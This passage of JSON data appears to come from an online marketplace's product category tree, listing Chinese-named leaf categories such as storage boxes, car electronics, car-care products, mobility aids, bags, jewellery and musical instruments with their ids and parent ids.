level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31004,"name":"饭盒袋","parent_cid":27623,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31006,"name":"购物袋/环保袋/帆布袋","parent_cid":27623,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31007,"name":"收纳挂袋","parent_cid":27623,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31023,"name":"席子收纳袋","parent_cid":27623,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31003,"name":"压缩袋","parent_cid":27623,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31021,"name":"其他收纳袋","parent_cid":27623,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30983,"name":"笔筒","parent_cid":27622,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31000,"name":"牙签筒","parent_cid":27622,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30980,"name":"简易鞋柜","parent_cid":27616,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30992,"name":"收纳柜","parent_cid":27616,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31024,"name":"衣物收纳柜/简易衣橱","parent_cid":27616,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30978,"name":"CD盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31005,"name":"抽纸筒/套","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31030,"name":"打火机收纳盒/袋/柜","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31028,"name":"化妆刷收纳盒/桶","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31016,"name":"积木收纳盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31029,"name":"垃圾袋收纳盒/袋","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31012,"name":"内衣收纳盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31019,"name":"食物收纳盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30975,"name":"手办收纳盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31013,"name":"文具收纳盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30982,"name":"鞋盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31015,"name":"眼镜收纳盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30981,"name":"药盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31018,"name":"钥匙收纳盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31017,"name":"证件收纳盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30995,"name":"纸巾盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31014,"name":"桌面收纳盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31011,"name":"其他收纳盒","parent_cid":27619,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30977,"name":"CD架","parent_cid":27615,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31027,"name":"粉底液收纳架","parent_cid":27615,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30989,"name":"红酒架","parent_cid":27615,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31026,"name":"化妆品收纳架","parent_cid":27615,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30991,"name":"首饰架","parent_cid":27615,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31009,"name":"鞋子收纳架","parent_cid":27615,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30990,"name":"纸巾架","parent_cid":27615,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30999,"name":"购物篮","parent_cid":27621,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30997,"name":"提菜器","parent_cid":27621,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30998,"name":"脏衣篮","parent_cid":27621,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31020,"name":"其他收纳篮","parent_cid":27621,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30979,"name":"卡套","parent_cid":27614,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30988,"name":"纸巾套","parent_cid":27614,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31010,"name":"其他收纳桶","parent_cid":27617,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34097,"name":"车用电饭煲","parent_cid":34049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34103,"name":"车用电器配件","parent_cid":34049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34099,"name":"车用空调/风扇/配件","parent_cid":34049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34095,"name":"车用吸尘器","parent_cid":34049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34096,"name":"车用氧吧/空气净化器","parent_cid":34049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34094,"name":"车载保温箱","parent_cid":34049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34093,"name":"车载冰箱","parent_cid":34049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34102,"name":"车载充气泵","parent_cid":34049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34098,"name":"车载烧水壶","parent_cid":34049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34101,"name":"车载自动升窗器","parent_cid":34049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34100,"name":"应急启动电源/储能电源","parent_cid":34049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34564,"name":"360全景/SVC","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27969,"name":"安全预警仪","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34284,"name":"便携行车记录仪","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34553,"name":"车用显示器/头枕屏","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34550,"name":"车载充电器/数据线","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27961,"name":"车载电子设备支架","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34562,"name":"车载蓝牙发射/接收器","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34548,"name":"车载蓝牙接收器","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34560,"name":"车载摄像头","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34007,"name":"车载U盘","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34563,"name":"倒车雷达","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34556,"name":"电动尾门/中门/电吸门","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34557,"name":"电动折叠后视镜","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34552,"name":"电台/对讲设备/中继台","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34549,"name":"电源转换器","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34559,"name":"防疲劳/防瞌睡提醒器","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34558,"name":"驾驶模拟机","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27966,"name":"记录仪","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34565,"name":"盲区监测BSD/并线辅助系统","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34555,"name":"汽车氛围灯/装饰灯/日行灯","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34551,"name":"汽车智能钥匙","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34554,"name":"舒适进入/手机控车","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34561,"name":"胎压监测","parent_cid":27968,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34595,"name":"车载GPS/定位器","parent_cid":27974,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34499,"name":"车载诊断系统/OBD/配件","parent_cid":27974,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34500,"name":"防盗器/配件","parent_cid":27974,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34498,"name":"汽车GPS探测器","parent_cid":27974,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34596,"name":"汽车音箱/低音炮","parent_cid":27974,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34497,"name":"车载CD机","parent_cid":27967,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34496,"name":"汽车功放","parent_cid":27967,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34493,"name":"汽车喇叭/高音头","parent_cid":27967,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34495,"name":"数字音频处理器/DSP","parent_cid":27967,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34106,"name":"车载电脑/准系统","parent_cid":34028,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34104,"name":"公路电子收费/ETC/OBU","parent_cid":34028,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34105,"name":"抬头显示/HUD","parent_cid":34028,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27971,"name":"智能车机导航","parent_cid":34028,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34109,"name":"充电桩保护箱","parent_cid":34029,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34108,"name":"新能源接地宝","parent_cid":34029,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34107,"name":"新能源汽车充电设备/充电桩","parent_cid":34029,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33862,"name":"玻璃防爆隔热膜","parent_cid":21761,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34542,"name":"车蜡","parent_cid":21761,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34543,"name":"镀晶镀膜","parent_cid":21761,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33863,"name":"改色膜","parent_cid":21761,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33861,"name":"漆面保护膜","parent_cid":21761,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34544,"name":"手喷漆","parent_cid":21761,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28040,"name":"擦车巾","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28039,"name":"车掸/蜡拖/车刷","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34086,"name":"车内空气降温剂","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28048,"name":"车内蒸汽机","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28053,"name":"车用除雪铲/除雪工具","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28052,"name":"车用除雪剂/除冰剂","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28057,"name":"车用空气净化/清新剂/香薰","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28043,"name":"车用清洗/除蜡/除胶剂","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28049,"name":"轮胎防滑剂","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34088,"name":"汽车玻璃防雨/防雾剂","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28051,"name":"汽车除锈剂/防锈剂","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28046,"name":"汽车除油剂","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34545,"name":"汽车内饰清洁/养护剂","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34546,"name":"汽车清洗/除蜡/除胶剂","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28044,"name":"汽车杀菌/消毒剂","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28045,"name":"洗车海绵/洗车泥/打蜡海绵","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34087,"name":"洗车机/洗车工具/配件","parent_cid":21523,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34541,"name":"变速箱系统清洗剂","parent_cid":21759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28477,"name":"玻璃水","parent_cid":21759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28481,"name":"底盘装甲","parent_cid":21759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34539,"name":"发动机外部清洗剂","parent_cid":21759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28479,"name":"防冻液","parent_cid":21759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34538,"name":"空调系统清洗剂","parent_cid":21759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28476,"name":"冷媒","parent_cid":21759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28480,"name":"清洗剂/养护剂","parent_cid":21759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28482,"name":"燃油添加剂","parent_cid":21759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34537,"name":"三元催化清洗剂","parent_cid":21759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34540,"name":"水箱清洗剂","parent_cid":21759,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28206,"name":"电动瘦身/腰/腿仪器","parent_cid":32422,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34352,"name":"电子美妆镜/电子美颜小魔镜","parent_cid":32422,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34350,"name":"护手仪","parent_cid":32422,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28199,"name":"蜡疗机/手蜡机","parent_cid":32422,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34349,"name":"挽脸器","parent_cid":32422,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34351,"name":"洗脸仪","parent_cid":32422,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33205,"name":"智能美妆镜/化妆镜","parent_cid":32422,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33903,"name":"其他美容/美发/美体仪器","parent_cid":32422,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32170,"name":"电动睫毛卷翘器","parent_cid":21615,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32172,"name":"电动美容修剪器","parent_cid":21615,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32173,"name":"电动修眉刀","parent_cid":21615,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28132,"name":"电子计步器","parent_cid":21615,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34281,"name":"安全锤工具","parent_cid":28474,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34280,"name":"玻璃修复工具","parent_cid":28474,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34283,"name":"补胎工具","parent_cid":28474,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34282,"name":"空气压缩机","parent_cid":28474,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34278,"name":"千斤顶","parent_cid":28474,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34277,"name":"汽车检测仪","parent_cid":28474,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34279,"name":"拖车绳/网/绑带","parent_cid":28474,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34301,"name":"取暖灯","parent_cid":28817,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34300,"name":"杀菌灯","parent_cid":28817,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34299,"name":"植物生长灯","parent_cid":28817,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34303,"name":"风扇灯","parent_cid":32166,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33177,"name":"拐杖","parent_cid":32649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33178,"name":"拐杖配件","parent_cid":32649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33179,"name":"电动护理床","parent_cid":32650,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33182,"name":"配件","parent_cid":32650,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33180,"name":"手动护理床","parent_cid":32650,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33181,"name":"站立床","parent_cid":32650,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33175,"name":"电动代步车","parent_cid":34015,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33174,"name":"电动轮椅","parent_cid":34015,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33176,"name":"配件","parent_cid":34015,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33173,"name":"手动轮椅","parent_cid":34015,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34364,"name":"拔罐器(器械)","parent_cid":32652,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33187,"name":"康复护具","parent_cid":32652,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33162,"name":"耦合剂","parent_cid":32643,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33163,"name":"配件","parent_cid":32643,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33161,"name":"胎心仪","parent_cid":32643,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33172,"name":"配件","parent_cid":32647,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33171,"name":"助听器","parent_cid":32647,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33379,"name":"怀表","parent_cid":32669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33380,"name":"机械表","parent_cid":32669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33381,"name":"石英表","parent_cid":32669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33382,"name":"智能腕表","parent_cid":32669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33383,"name":"其他","parent_cid":32669,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33390,"name":"单肩包","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33389,"name":"化妆包","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33384,"name":"卡包","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33385,"name":"卡套","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33397,"name":"旅行袋","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33396,"name":"旅行箱","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33388,"name":"钱包","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33394,"name":"手机包","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33392,"name":"手拿包","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33393,"name":"手提包","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33391,"name":"双肩包","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33395,"name":"斜挎包","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33386,"name":"胸包","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33387,"name":"腰包","parent_cid":32670,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33401,"name":"摆饰","parent_cid":32671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33402,"name":"耳环","parent_cid":32671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33398,"name":"发饰","parent_cid":32671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33404,"name":"脚链","parent_cid":32671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33406,"name":"戒指/指环","parent_cid":32671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33399,"name":"手链","parent_cid":32671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33400,"name":"手镯","parent_cid":32671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33405,"name":"项链","parent_cid":32671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33407,"name":"项坠/吊坠","parent_cid":32671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33403,"name":"胸针","parent_cid":32671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33408,"name":"其他","parent_cid":32671,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34151,"name":"民族吹奏乐器","parent_cid":34031,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34152,"name":"民族弹拨乐器","parent_cid":34031,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34153,"name":"民族拉弦乐器","parent_cid":34031,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34154,"name":"其他民族乐器","parent_cid":34031,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34155,"name":"西洋吹奏乐器","parent_cid":34032,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34157,"name":"西洋打击乐器","parent_cid":34032,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34158,"name":"西洋键盘乐器","parent_cid":34032,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34156,"name":"西洋弦乐器","parent_cid":34032,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34159,"name":"其他西洋乐器","parent_cid":34032,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33973,"name":"优惠券","parent_cid":33705,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31915,"name":"中国石化","parent_cid":28894,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31790,"name":"中国石油","parent_cid":28894,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31916,"name":"中国石化","parent_cid":28893,"level":4,"enable"